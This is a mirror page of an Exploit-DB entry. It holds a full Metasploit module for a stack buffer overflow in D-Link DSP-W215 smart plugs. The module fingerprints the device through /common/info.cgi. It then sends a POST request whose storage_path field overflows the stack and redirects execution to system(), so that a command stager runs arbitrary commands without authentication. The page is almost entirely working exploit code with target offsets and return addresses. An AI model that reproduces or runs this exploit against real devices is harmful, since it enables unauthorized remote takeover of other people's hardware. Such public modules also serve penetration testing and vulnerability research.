D-Link Devices – ‘info.cgi’ POST Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2014-07-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/34063/
  • ##
    # This module requires Metasploit: http//metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::CmdStager
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'D-Link info.cgi POST Request Buffer Overflow',
    'Description'=> %q{
    This module exploits an anonymous remote code execution vulnerability on different D-Link
    devices. The vulnerability is an stack based buffer overflow in the my_cgi.cgi component,
    when handling specially crafted POST HTTP requests addresses to the /common/info.cgi
    handler. This module has been successfully tested on D-Link DSP-W215 in an emulated
    environment.
    },
    'Author' =>
    [
    'Craig Heffner', # vulnerability discovery and initial PoC
    'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
    ],
    'License'=> MSF_LICENSE,
    'Platform' => 'linux',
    'Arch' => ARCH_MIPSBE,
    'References' =>
    [
    ['OSVDB', '108249'],
    ['URL', 'http://www.devttys0.com/2014/05/hacking-the-dspw215-again/'] # blog post from Craig including PoC
    ],
    'Targets'=>
    [
    #
    # Automatic targeting via fingerprinting
    #
    [ 'Automatic Targeting', { 'auto' => true }],
    [ 'D-Link DSP-W215 - v1.02',
    {
    'Offset' => 477472,
    'Ret'=> 0x405cec # jump to system - my_cgi.cgi
    }
    ]
    ],
    'DisclosureDate' => 'May 22 2014',
    'DefaultTarget' => 0))
    
    deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
    end
    
    def check
    begin
    res = send_request_cgi({
    'uri' => "/common/info.cgi",
    'method'=> 'GET'
    })
    
    if res && [200, 301, 302].include?(res.code)
    if res.body =~ /DSP-W215A1/ && res.body =~ /1.02/
    @my_target = targets[1] if target['auto']
    return Exploit::CheckCode::Appears
    end
    
    return Exploit::CheckCode::Detected
    end
    
    rescue ::Rex::ConnectionError
    return Exploit::CheckCode::Safe
    end
    
    Exploit::CheckCode::Unknown
    end
    
    def exploit
    print_status("#{peer} - Trying to access the vulnerable URL...")
    
    @my_target = target
    check_code = check
    
    unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
    fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
    end
    
    if @my_target.nil? || @my_target['auto']
    fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
    end
    
    print_status("#{peer} - Exploiting #{@my_target.name}...")
    execute_cmdstager(
    :flavor=> :echo,
    :linemax => 185
    )
    end
    
    def prepare_shellcode(cmd)
    buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler
    buf << [@my_target.ret].pack("N") # Overwrite $ra -> jump to system
    
     # la $t9, system
     # la $s1, 0x440000
     # jalr $t9 ; system
     # addiu $a0, $sp, 0x28 # our command
    
    buf << rand_text_alpha_upper(40)# Command to execute must be at $sp+0x28
    buf << cmd# Command to execute
    buf << "\x00" # NULL terminate the command
    end
    
    def execute_command(cmd, opts)
    shellcode = prepare_shellcode(cmd)
    
    begin
    res = send_request_cgi({
    'method'=> 'POST',
    'uri' => "/common/info.cgi",
    'encode_params' => false,
    'vars_post' => {
    'storage_path' => shellcode,
    }
    }, 5)
    return res
    rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
    end
    end